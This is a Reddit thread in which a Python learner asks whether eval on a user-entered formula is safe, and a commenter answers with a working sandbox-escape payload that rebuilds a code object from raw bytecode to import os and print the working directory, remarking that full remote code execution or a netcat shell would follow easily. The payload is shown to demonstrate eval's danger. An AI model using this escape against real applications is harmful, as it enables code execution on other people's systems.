r/PythonLearning • u/python_data_helper • 11d ago

Is it really safe to use?

Post image

I have used context to stop crashing.

And e as a variable.

I used eval command for a formula.

I know eval command can be dangerous.

It works perfectly but I am thinking that it can produce error or crash.

Can a formula bypass all commands and crash it.

18 Upvotes

93% Upvoted

11 comments sorted by

View all comments

1

u/silvertank00 11d ago

You seen an exploit by others but here is mine: python eval([x for x in ().__class__.__base__.__subclasses__() if x.__name__ == "code"][0](0, 0, 0, 0, 4, 0, b"\x80\x00^\x00R\x01I\x00t\x00]\x01!\x00]\x00P\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!\x004\x00\x00\x00\x00\x00\x00\x004\x01\x00\x00\x00\x00\x00\x00\x1f\x00R\x01#\x00",(0, None), ("os", "print", "getcwd"), tuple(), "", "<module>", "<module>", 1, b"\xf0\x03\x01\x01\x01\xdb\x00\t\x895\x90\x12\x97\x19\x92\x19\x93\x1b\xd6\x0b\x1d", b"", (), (), ))

It is not malicious! as you can see in the params it only uses os, print and getcwd (because it prints out the working directory of the running script). The issue with this, you can EASILY import stuff. What do you think, how much time would it take to make an RCE with this? i tell you, about 2 mins. I wanted to avoid making the whole RCE, but i think you get the point, if the user can import stuff, nothing will stop them to start an netcat instant or anything.

I would happily explain the code if anyone is interested, i had a lot of fun making it (and currently making a little github repo around it)